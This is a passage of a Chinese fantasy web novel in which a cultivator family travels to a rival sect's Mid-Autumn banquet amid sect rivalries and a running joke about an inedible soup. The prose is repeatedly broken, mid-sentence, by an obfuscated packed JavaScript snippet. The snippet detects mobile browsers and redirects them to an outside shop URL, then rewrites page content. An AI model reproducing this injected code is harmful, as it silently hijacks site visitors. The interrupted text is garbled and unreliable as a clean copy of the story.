若说是因为一直以来与仙家的私怨,遇到什么都想掺合一脚,直接悄悄派点部下把大战残局收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429925|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾了就是,何必诱导城主签下出卖魂魄的契约。 除非,魔族本身的目的就是索要他人的魂魄,所以才主动提议与先城主合作,各取所需。至于他们想要魂魄的目的,怕不就是为了用御魔幡做出那些邪物了。 按照父亲刚刚说的那样,紫阳宗因为丢了御魔幡,引得这么多人善后,保不齐就是跟此次历练有关了。 不过,这些一瞬间的猜想,公仪岭并没有宣之于口,毕竟他现在没有证据,而且时间线也对不上。 想到这里,公仪岭颇为后悔,心想:“早知道在司青筠死之前套套话了,没准儿他知道此事真相呢。” 想完,就听公仪拓随手将帖子揣在袖子里,说道:“好了,到时候八月十五,我们会按时前去赴约的。” 沈熙华欣慰道:“这就对了,这些话你私下说说就也罢了,当着众人面说的话,如果被有心之人听了去,蓄意破坏两家情谊,挑拨了云灵山与紫阳宗之间的关系,可就不好了。” 公仪拓点了点头,对公仪岭说道:“阿岭先回坐席上休息片刻吧。” “是。” 对面的承悦已经酒足饭饱,在自己位置上揉着肚子休息了。他瞧见公仪岭坐了回去,连忙起身凑了过去,先是关怀了一下大师兄的状况,然后笑着问道:“阿岭,听说这一次紫阳宗可是广邀了接近半数的仙家,想要借此彰显一下自家的实力呢。” 公仪岭去紫阳宗的次数不多,虽说逢年过节办宴席的地点都是轮着来的,但由于这些年仙门有不少家后起之秀,参加轮换的名门也越来越多。公仪岭上一次去紫阳宗,已经是四五年前的事情了。 公仪岭听到他说的那句彰显实力,不由无语道:“他们不会又翻新了吧……” 再怎么说,如何看出一个宗门的底蕴,以及有没有钱,最简单直接的办法,也就是看宗门的规格了。毕竟在仙家,也是讲究门面这一说法的。 自从二十多年前燕修远继任了宗主以后,由于他极好面子又时不时喜欢吹牛的性子,紫阳宗更是没少翻新,仅仅公仪岭这四五年间听说大修就已经不下七八次,更不要说小规模动土。如果说,仙家以此专门开一个榜单的话,最爱翻修和最不爱翻修的两家,必然是紫阳宗和云灵山无疑。 承悦佩服道:“阿岭你真是料事如神,听说仙考的时候,他们借着御魔幡被盗一事,打着加强结界安防的名头,又把紫阳殿翻修了一下。” “好啊,正好借着中秋宴的时候,过去看看他们究竟是怎么个加强结界法。” 足足上完了一人二十盏宴食,又吃完了甜点和果盘,直到将近寅时,宴会才散场。沈熙华把已经喝迷糊的公仪拓搀了回去,临走前叮嘱还算清晰的公仪岭道:“替娘盯着点,每个人都安安稳稳地送回房中你再回去啊。” 公仪岭扫了一眼正殿里一片狼藉的场景,和数不清醉倒在地的师弟师妹们,颇为头疼道:“这么多人,我便是一分钟送一个,也得送个两个时辰。” 沈熙华轻飘飘道:“这不是还有几个没醉的吗?互相搭把手呗?我们宗门的宗旨与教诲是什么?要团结友爱,互帮互助,娘看好你啊。” 沈熙华说完就带着公仪拓离去了,显然是没打算帮他收拾这烂摊子。那些没醉的弟子们见师父师娘都走了,大师兄又已经倒在桌案上沉沉地睡过去了,齐唰唰目光全都看向了公仪岭,等着他拿个主意。 58. 云灵寄锦书 拜帖中秋宴(四) 公仪岭看向坐在对面唯一还算靠谱的承悦,后者则是还在细品刚呈上来的荷花雪露茶,一脸意犹未尽的模样,一抬眼对上公仪岭的目光,才放下茶盏问道:“阿岭,你打算怎么办?” 公仪岭无奈道:“还能怎么办?醒着的人都先把没醒的捎回去吧,动作快点别等到天亮还没弄完,我还想回去睡觉呢。” 吃酒吃了这么久,到现在还保持清醒的人并不多,大部分还都是自家的小师妹,因为年纪太小被人拦了下来不让喝酒。公仪岭只得召来了所有仙侍,简单给大家分了分任务,叫师妹们和几个仙侍留在大殿收拾残局,余下的仙侍和弟子都帮忙将人扛了回去。 公仪岭将大哥背回了他自己的院落,给他安置到床上再回大殿后,正殿里面的几个人已经打扫地差不多了,桌案前倒是还剩了几个没被带走的弟子。公仪岭随意从桌上拽了两个人起来,一个肩扛一个手提,终于赶在天蒙蒙亮前处理完了一切,进了被窝。 如此一来,第二日上早课的事情就这么顺其自然的取消了,只因公仪拓自己也睡了整整一日,等到大家再次互相见面大眼瞪小眼的时候,天都已经黑了。 公仪岭起来以后,就赶着去公仪岚的院子里看看他状态如何,毕竟公仪岚还是第一次宿醉,要是喝出个好歹来就不好了。 出乎他意料的是,他脚还没踏进公仪岚的院子,就已经看到里面灯火通明,看样子,公仪岚已经醒来。 等他进去的时候,看见的就是公仪岚正在有条不紊批公文、写回函的模样。那拿笔的手稳稳当当,一点都看不出昨日宿醉的模样。 “大哥?你醒了。”公仪岭颇为惊讶,绕过去看他在写什么。 公仪岚停下了写字的手,含笑道:“喝了醒酒汤以后,就感觉好多了,现在已经没有大碍了。” 公仪岭仔细想了想,觉得也没问题,毕竟两人是亲兄弟,自己酒量尚可,没道理公仪岚会不行。 比起他桌子上乱糟糟、东西随手乱摆毫无规律可言的样子,公仪岚这边明显就干净整洁多了,每一垒文书和信函都被他归类地整整齐齐,从数量少看,比他收到的应该还多些。 于是他就问道:“大哥,这么多信,你还没回完吗?” 公仪岚看信一目十行,每样东西看完以后提笔就回,边写边道:“我从承悦那边把山中还没处理完的事务拿了回来,其余的便是各大宗门送来的传书了。” 公仪岭十分随意地坐上了他桌上的一角,拿起最上面的一封扫了一眼,上面的内容与自己收到的大差不离,说道:“他们传来的信件内容倒是都差不多,我已经全部回完了。” 公仪岚微微一笑,看破不说破:“你要是每回都肯这般认真努力,爹娘也就放心了。” 公仪岭担心话题又折回到大哥对自己的谆谆教诲,连忙转移了话题:“算算日子,抱元门也差不多该将此次宣告出去了。” “的确,再过两日,他们应该就会宣之于众了。”公仪岚把右手边一封暗红色祥云纹的锦书递给了公仪岭,说道,“这一封就是我方才写好的,等到给爹娘过目,由他们盖上云纹印,就会正式传回各家宗主。” 如公仪岚所说的那样,两日以后,抱元门放出的消息就传遍了各家。 好在大家都早一日收到了公仪岭的回信,故而对这件事情没有表现出十分意外。 公仪岭在云灵山老老实实呆了一个月,每日巳时起,子时息,生活十分规律。除了他的钓鱼时间以外,没事的时候,也会去同弟子们一起修习练剑,在他们休憩的时候,逮一两个人推荐自己发明的新菜式。 只不过大家也都学精了,没有人再上当,去给他当试验品了。 在公仪岭做完这道新菜品后,一连吃了二十位师弟师妹们的闭门羹后,十分沮丧地坐到了公仪承悦旁边。 承悦瞥了一眼四周弟子们好奇又同情的目光,低头看了眼他做出来的奇怪东西,叹了口气,还是安慰他道:“没事,下回应该就能做好了。” 公仪岭幽幽道:“这已经是第四次做这个了。” “好吧……也许不是次数的问题。不过,这是什么东西?” “龙凤呈祥翡翠羹。”公仪岭翻了翻手里的菜谱,认真说道,“用了龙眼、凤梨,还有一些其他的材料。” 承悦看着里面炖烂了的龙眼和凤梨,已经坨成了一堆,上面还被他点缀了两三颗红色枸杞,看起来有点惨不忍睹。随后皱眉指了指上面洒着的一抹小葱:“那你放葱做甚?” 公仪岭自然道:“翡翠啊。” 承悦:“……” 公仪岭把盘子端到他嘴前,期冀道:“要不你试试?” “……不必。” 公仪岭沮丧道:“上次家宴里吃了回羹觉得还挺好吃的,才想试着做做,我闻着还挺香的呢。” 承悦深吸了一口,闻到了一股奇怪的混合着葱姜蒜香气的味道,建议道:“阿岭,我看还是等中秋宴的时候,你带过去给齐兄试试吧?” 公仪岭眼前一亮:“有道理!” 于是,公仪岭一天天瞧着云灵山后面的柿子渐渐成熟,闻着山中丹桂飘香,盼了好久,终于盼到了八月十五。 拜帖上写的开宴时间是从酉时开始的,不过按理来说,大家都会早到几个时辰,先行去拜会宗主,唠唠家常。所以每年,云灵山都是在八月十五巳时前就抵达了设宴的宗门。 紫阳宗距离云灵山不算太远,他们御剑前去的话,不出一日就能抵达。公仪拓叫他们几人早上在云灵殿等着人齐再一起前去,不等父母到,公仪岚就已经早早坐在椅子上等他们了。 公仪拓左右张望:“阿岭呢?又迟到!” 沈熙华看向承悦,不满道:“承悦,你可有去他院里看过?这小子不会还没起吧?” 承悦纳闷道:“师娘,冤枉啊!我敲他院子门的时候,里面可早就没人了!” 公仪岚道:“阿岭起来了想必是往这里赶来了,我们再等一会儿吧。” 话音刚落,从门外就窜进来一人,手里端着个盅,嘴里还喊着:“来了!来、来来了!” 承悦几乎立刻就知道了他手里端着的是什么,扶额道:“二师兄,这大清早的你怎么就去做了这个龙凤葱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429926|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羹……” 公仪岭纠正道:“是龙凤呈祥翡翠羹。” 公仪岚轻嗅了一下空气中弥漫的味道:“阿岭,你要把这个带着上路吗?” 公仪岭点头,十分满意自己的作品:“拿去给齐元白试试,他喜欢吃葱,没准合他的口味。” 公仪拓和沈熙华对他这样奇奇怪怪的行径早已习以为常,只叮嘱了一句路上别洒了,就领着他们下山了。 一路御剑飞行,几人在次日辰时抵达了紫阳宗。 紫阳宗与他们其他宗门的地形不同。东海以北,海面之上,悬浮了一座不规则的巨大岛屿,被一层淡淡的仙气缠绕着。岛上垂下一面瀑布,似白虹饮涧,奔流而下汇入海中。那岛屿外一圈,又众星拱月般围了五座浮空小岛,在浮光跃金的水面映衬下显得地格外灵秀。 公仪岭在路上的时候一直脑补,想了许多紫阳宗可能会变成的新模样,不过等他飞到海面上,看见那海面上巨大岛屿的时候,心里还是震惊了一下。 上一回他来的时候,紫阳宗还与他们云灵山的风格相差不大,几年不见,修屋子用的石料竟然都已经奔着抱元门的规格去了,怎一个惊艳绝伦了得。 公仪岭在云头感叹道:“这几年,大家发展的都不错啊。” 承悦笑道:“二师兄,我听说他们这一次翻修,用了有黄金万两。” “……罢了,当我没说。” 他们飞近了以后,才发现仙岛外被紫阳宗里三层外三层设了厚厚的结界。 公仪岚皱眉道:“这会儿也不算早了,各家应该有比我们早到的,怎么这结界还不撤下?” “无妨。” 公仪拓手持拜帖,轻松带着他们通过了岛外结界。 公仪岭单手拿着盅,纵身一跃,平稳落地,扬手收回归云剑后,回身触摸了一下身后的结界,手却被结界弹开。 他问道:“我记得,从前上元节、中秋节的时候,各家都会收起结界,方便大家出入?” 沈熙华沉声道:“近期仙魔两界关系微妙,紫阳宗又丢了那东西,看样子是为了保守起见,才没有撤下结界。” 公仪拓翻了翻手中的拜帖,凝视着拜帖上太阳纹印,说道:“这印上也缠绕了十分浅淡的仙气,应该就是紫阳宗刻意为之,这样的话,持有拜帖的人才能进入。” “他们倒是难得谨慎。” 公仪岭道:“我觉得这么做其实也没什么用,他们要是真打算进来搞破坏的话,随便偷了一家的拜帖,不就成了?” 公仪拓想了想,觉得他说的有道理,把拜帖收回袖中:“看来,该提醒下其他宗主也收好拜帖了。” 沈熙华点头:“拜帖的事情等其他家的人来了再说不迟,我们既然已经触了结界,想必燕宗主那边也知道我们抵达,就先去紫阳殿正式拜会他吧。” 众人觉得有理,朝着坐落东方的紫阳殿走去,只不过还未走几步,远处就迎面来了整整齐齐两排紫衣仙侍。 为首的仙侍停在了他们面前,对公仪拓他们颔首行礼,说道:“公仪宗主、沈夫人和诸位公子,请随我来。” 59. 河灯载桂酒 明月照人愿(一) 紫阳正殿这时候就已经开始布置起场地来了,来来往往不少仙侍正往殿外搬着桌案。好在殿前的广场被他们建的十分宽敞,完全放得下这么多桌案。 公仪岭抬头四下瞧了瞧,见紫阳宗各处都已经悬起了灯笼,很有过节的氛围,对他们的这些布置非常满意,对公仪岚说道:“我喜欢这些装饰。” 公仪岚若有所思:“那下次我们那过中秋也挂一些。” 紫阳殿中现在大家忙得脚不沾地,仙侍便没有带他们去正殿里添乱,直接领人往侧殿的方向走去。 公仪岭心想着来都来了,总该去找燕蓉唠个嗑,于是问领头的仙侍道:“不知燕蓉姑娘身在何处?等拜会完宗主,我好前去与她叙叙旧。” 那仙侍知道他们两人是多年好友,淡声答道:“燕蓉师姐此刻也在侧殿之中,与宗主一起等候你们多时了。” “那正好,等正式拜会完,我再找她。” 一行人走得飞快,没一会儿已经到了侧殿门口,仙侍在殿门前停下脚步,道:“诸位,庆阳殿到了。” 公仪岭早听闻燕宗主除了翻修大殿以外,还有一大爱好便是给全宗门上上下下每一处都亲笔题名,挂个牌匾上去。他仰头一看,这侧殿上果然挂了一块玉匾,上面题了“庆阳殿”三个大字。 公仪拓小声对夫人说道:“这字还是跟以前一样,不怎么样。” 沈熙华掐了一下他的肩,叫他慎言。 仙侍说完,转身对公仪岭伸出了手:“公子,手上拿着的东西就先交给我代为保管吧。” 公仪岭这才想起来自己手里还拿着龙凤呈祥翡翠羹,于是将盅递给了仙侍,小心叮嘱道:“拿着当心些可别撒了,我等下出来取。” 仙侍道:“公子放心,我们就在门口等候,等到拜会完后,会领你们去临时的住所。” 见几人进来,燕修远脸上立即挂了笑容,放下手中的茶盏说道:“公仪宗主来了,请坐吧。” 公仪拓笑着随意找了把椅子坐下,道:“还真是太久没来了,想不到你们这地方变化得这么大。” “哈哈,难得轮到我们宗门承办中秋宴,可不得提前修缮修缮?” 沈熙华赞道:“燕宗主哪里的话,若不是大家定下如此规则的话,怕不是我们年年都来你们这赴宴,也该给我们这些小宗门点机会,你说是不是?” 这一番话简直说道了燕修远心坎里,当即都摸着下巴哈哈大笑起来,心事儿藏不住半点,看得站在旁边的燕蓉都神色精彩起来。 公仪岭心道:“捧杀,这不是捧杀是什么?” 随后他就说道:“是啊,跟我上一次来相比,简直是天上地下的区别,我刚到的时候,还惊讶了一下呢。” 坐在燕修远身旁的少宗主燕渊却没觉得有丝毫不对的地方,得意道:“此次父亲将五座大殿全都整修,自然是焕然一新,你们从云灵山那穷苦地方过来开开眼,对此感到诧异也是正常!” 燕婉微微皱眉,呵斥道:“阿渊!” 燕渊说的话刺耳,带了几分看不起公仪岭他们的意味。燕婉觉得颇为抱歉,连忙道:“阿渊年岁尚轻,多有得罪,还望你们见谅了。” 燕修远的结发妻子在生下燕渊后就撒手人寰,燕修远也是个不懂育儿之道的人,从小到大都是燕婉悉心照顾着弟弟。长姐如母,燕渊很听姐姐的话,听到姐姐呵斥自己,也就歇了声,对他们撇了撇嘴。 公仪拓和沈熙华两个长辈自然不会将小辈的话放在心上。公仪岭对那燕渊的性格早就了解,压根不屑于反驳什么,只是他恍惚见瞧见身旁公仪岚手上忽然灵气缭绕了一瞬,随即就消失了。 公仪岚微笑道:“的确不错,不过燕少宗主说是开眼,我觉得倒是不至于。说起来,紫阳宗琼华岛后的无定崖,这么多年不都还是那个样子?有些东西,还是改变不了的。” 公仪岚面上的笑容清清楚楚落在了他眼中,冷得公仪岭手上都起了鸡皮疙瘩。 大哥这是在生气吧?没错吧?就是生气了吧? 仙家谁不知道无定崖那边养了什么东西?再加上燕渊小时候在那边被打了个半死,差点就咽气了,从此以后对那边落下来深深的阴影,后面就再也没去过无定涯。 这件事,可是人尽皆知的。大哥提到这个,肯定是故意为之。 “你——!” 燕渊气极,却又对公仪岚无可奈何。别说长辈在场,就算是私下里,他跟公仪家两兄弟里随便一个人单挑,他也毫无胜算。 那边公仪岚对他的模样视而不见,依旧挂着和煦的笑容。 在一旁许久没说话的燕煦泽在此时开口,打了个圆场,道:“无定涯那边养的到底是我们宗门的祥瑞之物,少宗主天资聪颖,待到日后,何愁制不住它?今日中秋月圆,乃是合家团圆之时,莫要因此伤了和气才好。” 公仪岚从容道:“燕兄所言极是。” 公仪拓咳了一声,对燕修远道:“这赶了一路,都口渴了,燕宗主,不会没给我们准备茶吧?” 公仪拓此言也算是给燕修远递了个台阶过去。这中秋宴还没开始,俩孩子就先吵上了显然不像话,燕修远心里虽恼,但还是不得不给他们台阶下,对燕蓉说道:“燕蓉,先给客人奉茶吧。” 刚刚庆阳殿内剑拔弩张,燕蓉哪敢说话,现在听到宗主这话,这才松了口气,立刻上前给椅子上几人奉茶。 父亲不说,公仪岭还没觉得有多渴,一提醒以后,顿时觉得口干起来,板板正正地坐在椅子上等茶水。 燕蓉刚将茶盏搁在了他旁边的案上,就听见公仪岭对她压低声音说道:“回头试试我新做的羹呗?” 燕蓉不明所以,不过只要不是问她要那个术法就一切好说,欣然道:“行啊。” 公仪岭如听仙乐,感动得不行。 一圈茶奉完,庆阳殿外就传来几声钟声。公仪岭疑惑地听了半天,没有听出什么,正座上的燕修远就道:“是太微山齐家的人到了。” 一听齐家的人来了,公仪岭的心情立刻晴朗了许多。 过了一刻钟,门口传来了仙侍引路的声音:“诸位,这里就是庆阳殿了。” “多谢。”是齐宗主的声音。 公仪岭探着头等他们进来,马上与跟在齐阳羽后面的齐元白对上了眼神。 燕修远笑道:“齐宗主,别来无恙。” 齐阳羽客套道:“燕宗主、公仪宗主,多日不见,看起来气色不错啊。”说着就在右手边坐了下来。 公仪拓随意寒暄了两句:“大家这么久没聚一块了,夜宴敬酒的时候可都不许推脱啊。” 燕修远的酒量不必说,向来都是千杯不醉,十分爽朗就应了下来。 齐阳羽则是谦逊地表示自己量力而行,转而取出了带来的礼物,递给公仪拓:“令郎定亲之事,还没有机会亲自同你们道喜,这下终于可以见面祝贺了。” 他提了这一嘴,燕修远也就想起来了这事情,当即也召来了仙侍赠与贺礼:“此前听到消息后我就备下了一点薄礼,你们笑纳。” 公仪拓收了贺礼,神采飞扬:“那我就代阿岚谢过你们了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429927|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们三人聊得欢,这边公仪岭也正在跟齐元白窃窃私语。 齐元白悄声问他:“其他家怎么还没来呢?我们要在这里等他们都到场吗?” 公仪岭道:“我们好像是第一个到的呢,等爹他们聊完,应该就能回去了。” 齐清鸢还没搞清楚情况,问道:“回哪儿去?” “我们来的时候,紫阳宗的仙侍说正式拜会以后,会带我们回各自的厢房休息。” 一般中秋宴后,不少人都会喝得酩酊大醉,好几日都醒不过来,所以一般他们没有要紧的事情的话,都会在此地多留几日,算是难得休假。 听完这话,齐清鸢欣喜地问燕婉道:“婉婉,是不是给我们准备了上好的房间?” 燕婉笑道:“放心吧,我都和父亲说过了,这几天你们安心休息就是。” “哦,太好了。”公仪岭喜道。 齐元白却有些怀疑地问燕婉:“燕姑娘,你们宗门准备的东西好吃吗?” 燕婉不知他为何有这样的疑惑,不过还是肯定道:“好吃。” 燕煦泽在旁边说道:“宴席上的每一道菜都是师姐亲自挑选的,不会出现难吃这样的问题。不知齐兄为何出此一问?” 齐元白见他们这么肯定,犹豫道:“刚刚进门的时候,看见门口仙侍端着一碗散着奇怪味道的盅,我还以为是晚上的菜品之一呢。” “……” 公仪岭默然道:“那是我一大早起来做的,特意拿来想给你试试呢。” “是吗?”齐元白擦了擦汗刚想拒绝,但看着公仪岭颓废的样子,还是于心不忍道,“那……试试、试试也不是不行?” “一言为定!”公仪岭活过来了。 两家人在庆阳殿内唠了不到半个小时的家常,便起身告辞。 燕修远摆手召来了两个仙侍,对公仪拓他们道:“等到午后,会有侍从给你们送来茶点。酉时夜宴正式开始,记得按时到场。” “那是自然。” 公仪岭跟随着仙侍一路来到东南边芙蕖岛中。仙侍将他们带到了一处院落门口,说道:“吴酒一杯春竹叶,吴娃双舞醉芙蓉,早晚复相逢。诸位,此处名唤芙蓉院,是燕婉师姐特意为你们准备的。” 公仪岭瞧这院落十分清静雅致,别有一番风味,喜不自胜:“那替我们多谢燕婉姑娘了。” 仙侍告退后,几人才进了芙蓉院内。公仪岭选了一间屋子将东西安放好后,就出门转了一圈。 齐元白他们被仙侍带到了隔壁的菡萏院中,也是刚收拾完就出来寻人了。两人刚出门就撞了个正着,公仪岭见了他,二话不说立刻拉住他往自己院里拽。 “先说好啊,庆阳殿上我可是真不知道那个羹是你做的,我要是知道,肯定不会当众拆你台的……”齐元白连忙解释。 “这个我当然知道。” 齐元白松了口气,又道:“话又说回来了,阿岭你除了醋鱼,其他的不是都做得蛮好的吗?这一次怎么……” 公仪岭瞥了他一眼:“马有失蹄人有失足,就是因为还不知道哪里出了问题,才叫你来点评一二的。” 齐元白笑道:“怎么,你们云灵山没人给你点意见吗?” 公仪岭叹息:“别提了,我一连问了二十个师弟师妹,竟然没有一个愿意尝一尝!当真是暴殄天物。” 齐元白道:“你让我尝一尝倒是没问题,不过我刚刚问了仙侍,他们说燕蓉姑娘等下要来找你一趟,我看不如等她一起?” 公仪岭略一思索,点了头。 60. 河灯载桂酒 明月照人愿(二) 两人在芙蓉院中一边磕着瓜子闲聊,一边等着燕蓉过来。原本齐元白还提议要不要打个牌打发时间,只不过公仪岭想起沈熙华还在院子里,于是断然否决了这个提议。 那盅龙凤呈祥翡翠羹一路过来都放凉了,被公仪岭拿去热了热。又等了一刻钟的工夫,终于等到燕蓉推门而入。 齐元白“啧”了一声,说道:“你这来的够慢的。” 燕蓉一路跑过来似乎十分热的模样,摇着扇子道:“毕竟师父安排了我一起接待你们,好不容易趁着送走了抱元门的间隙,才有空溜出来找你们,暂且体谅一下我吧。” 公仪岭从她进门开始就是一副欲言又止的模样,燕蓉看着他上下打量自己的样子,不明所以道:“我身上有什么问题吗?” 公仪岭无论如何看多少次,也还是接受不了燕蓉这一身的配色,于是指着她的紫色衣服和绿色法器扇子,吞吞吐吐道:“真的不是我说,你这个穿法,不能改吗?” 这颜色,真是怎么看怎么违和! “你这个青玉簪子、你这个青玉耳珰,真的改不了吗?” 燕蓉道:“虽然这个配色丑是丑了点,不过这些法器都还算好用。何况这浮光青玉扇跟了我这么久,我也都看习惯了,不改了。” 齐元白帮腔道:“浮光青玉扇也是仙家榜上有名的法器了,实战厉害就行,颜色搭配什么的阿岭你就忽略不计吧。” 公仪岭沉思片刻,了然道:“你是不是不会变色的法咒?” 燕蓉:“……” 见燕蓉转身欲走,公仪岭连忙起身拦她:“别别别,先别走!” “还有什么事情?” 公仪岭把盅端到她面前,道:“喝点再走?” “……” 燕蓉这次费了老大劲溜出来,自己的事情还没办完,沉默纠结了片刻后,还是在两人旁边坐了下来,在公仪岭灼热的目光中接过汤勺喝了一口。 “如何?” “还好吗?” 两人一前一后地发问。公仪岭看着她平静地放下汤勺,把东西递给齐元白说道:“还可以,你试试?” “真的假的?” 虽然齐元白很大程度上怀疑是燕蓉在演戏骗他,但自己之前答应了公仪岭要喝,这会儿也不好临阵脱逃,于是也硬着头皮喝了一口。 结果就是,下一秒他就吐了出来。 燕蓉优雅且淡定地取出帕子擦了擦嘴,又给齐元白递了一块干净的帕子,才说道:“还得练练。” 公仪岭沮丧道:“好吧。” 齐元白咕噜咕噜灌了自己不少茶水,这才勉强压下了那满嘴奇怪的气味,虚弱道:“其实我觉得,阿岭你以前做的那些就已经很不错了,何必再研究新的呢……” 公仪岭摇头:“学无止境啊。” 燕蓉从袖中取出几块月饼,分给了几人。 公仪岭见那月饼精致小巧,还热乎,就问道:“你怎么心血来潮去做月饼了?谢谢啊!” 燕蓉笑道:“哪里是我?这是我师姐早上起来特意做好,让我给你们几个带来的。” 齐元白尝了一口,惊讶道:“你师姐?燕婉姑娘?” 燕蓉点了点头,道:“师姐她一向如此,在宗门里就时常喜欢做东西给我们吃,今天中秋夜宴,这不就多做了些,好分给大家尝尝。” “那替我们谢过你师姐了!对了,你专门过来,是要做什么来着?” 燕蓉弹了一下公仪岭的脑门:“信中说的话,你都忘了?毕竟公仪岚和司月吟两人都算是我的好友,好友定亲,我肯定得过来亲自道贺一声。这不,我等抱元门的人走了,才赶过来见他们两个的。” 公仪岭吃痛,揉着额头道:“……原来是这样。不过你现在来这里我看是找不到大哥了,既然司姑娘来了,他多半是从后门出去寻她去了。” 燕蓉顿悟:“小别胜新婚嘛,我懂。那我就先告辞了,等晚上夜宴再说吧。” 燕蓉走后,齐元白没有急着离开,与公仪岭在院子里惬意地喝了一下午茶。等到太阳逐渐落下,就有仙侍准时来到他们院子里,对几人说道:“诸位贵客,宗主有请。” 毕竟场合正式,他们关系再好,齐元白也不能跟在云灵山后面一起过去,所以与公仪岭道别以后,就回了菡萏院中。 公仪岚笑道:“有劳仙侍带路了。” 随着夜色垂暮,路两边的灯笼也陆陆续续一盏皆一盏地亮起,等到公仪岭来到了紫阳殿前,才意识到“海上明月共潮生”描绘的是如何一番景象。 听着滔滔的浪声,公仪岭觉得自己的心都宁静了下来,不得不感叹,紫阳宗这儿确实当得起风水宝地四个字。他们在浮空岛上观月,顿觉那一轮圆月变得硕大无比,嵌在幽幽夜幕之中,映衬着海面生得粼粼波光。 公仪岚也叹道:“难怪他们将宴席设在露天下,这般观月赏景,怎绝妙二字可言。” 广场半空中被紫阳宗的人施了法,将那些明灯悬在了空中,排列得错落有致。公仪岭仰头细看,还能见到每一盏灯下都被悬挂了一张迎风飘扬的字条,上面写着各式各样的祝福语和愿望。这些明灯发出的暖光与灯火通明的紫阳殿交相辉映,顿时有一种万家灯火的感觉。 而坐席又被一道术法幻化成的溪流隔成了南北两岸,自西向东汇入浮空岛的瀑布,归于大海之中。 虽然每家都只带了二三十位弟子过来,不过场上坐席的数量还是远超公仪岭的想象,简直一眼都望不到头。依照以前的规矩,每一家的位次顺序都是提前就安排好的,很有讲究。除去这次紫阳宗做东,自是坐在宴席之首以外,其余仙家都是按照实力与门第严格排序的。 公仪岭回忆着从前自家坐的位置,朝着一个地方走过去,还没走两步,就被仙侍拦了下来,客客气气说道:“公子,云灵山的位置不是这边。” 公仪岭意外,不解地看向自家爹,后者也是疑惑发问:“不在这里,那在哪里?” 仙侍笑道:“请随我来。” 公仪岭本来还忐忑,想着会不会因为早上大哥和燕渊起了冲突,才被偷偷往下挪了位次。结果等到仙侍领着他们坐到前面的时候,公仪岭大感意外,看着对面抱元门的弟子,问道:“这……这是何意?” 公仪拓也皱眉道:“莫不是搞错了?” 仙侍却一本正经道:“并未有误,这是抱元门的意思,也是我家宗主的意思。” 此话一出,在场几人都明白了缘由。 沈夫人对仙侍含笑道:“有劳领路了。” 公仪岭老老实实跟着爹娘和大哥在坐席上坐下,忽而低头注意到坐席周围都撒上了桂花,就连每个人的桌案上也都摆了一个小巧精致的白玉花瓶,里面都插了一只折桂,闻着芳香扑鼻,沁人心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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孟翰言侧过脸,斜了自家弟弟一眼,说道:“同样是亲兄弟,我跟正初倒是不太像呢。” 孟正初遗憾道:“要是长得跟大哥一样,我还能更好看些。” 公仪岚细细打量了两眼:“我看你们两眉眼相似,只不过大哥像是孟宗主一些,正初更像是夫人呢。” 孟翰言微微一笑,又与他们两人闲聊了两句,这才领着弟弟妹妹坐下。 孟长歌那边同到场的几位宗主先行打了招呼,又看向公仪拓和司永丰,对他们正式道了贺后,也将贺礼交付了他们。 燕修远见着这其乐融融的氛围,不由说道:“这次中秋宴交给小女燕婉来办,说起来我也存了点私心。” 齐阳羽问道:“哦?什么私心?” 燕修远瞥了一眼站在身旁的燕婉,叹道:“他们娘亲走得早,燕婉又是个放不下弟弟的性子,如今她已经年近二十,却仍未出阁,我便想借着中秋宴这个契机,也为她择一个好夫君。” 公仪拓了然,从容道:“燕姑娘性子和顺,又生得一副温婉容貌,想必一定能寻到好夫婿。” “但愿如此。” 在紫阳宗井然有序的安排下,酉时前所有赴宴的宗门都已经落座。 燕蓉一直坐在师父的左边,等他目光一瞥自己,立刻就执笔在本子上划掉了一行,与旁边候着的仙侍耳语了一声。 61. 河灯载桂酒 明月照人愿(三) 没过一会儿,从广场两侧整整齐齐两列仙侍缓缓向他们走来,每个人手中都端了一个鎏金盘子,上面呈了色香味俱全的精品菜肴。 光是看看,公仪岭都觉得自己要流口水了。 在宴会正式开始前,依照惯例会先给每一位贵客上四道前菜,再由各宗门旁边服侍的仙侍将所有人的酒杯满上,等到东家举杯,众人共饮此杯后,才会陆陆续续呈上接下来的主菜。 